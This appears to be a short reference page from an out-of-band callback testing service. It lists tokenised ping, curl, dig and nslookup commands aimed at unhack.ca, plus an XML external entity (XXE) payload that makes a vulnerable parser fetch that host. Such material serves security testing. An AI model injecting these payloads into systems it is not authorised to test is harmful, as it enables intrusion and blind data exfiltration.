$ ping -c1 -p 005f3a88ece1f1f5cfc4bb57aad6ed00 unhack.ca
 

$ curl http://unhack.ca/p/5f3a88ece1f1f5cfc4bb57aad6ed
 

$ dig 5f3a88ece1f1f5cfc4bb57aad6ed @unhack.ca
 

$ dig 5f3a88ece1f1f5cfc4bb57aad6ed.ns.unhack.ca
 

C:\> nslookup 5f3a88ece1f1f5cfc4bb57aad6ed unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5f3a88ece1f1f5cfc4bb57aad6ed">]>
    <foo>&xxe;</foo>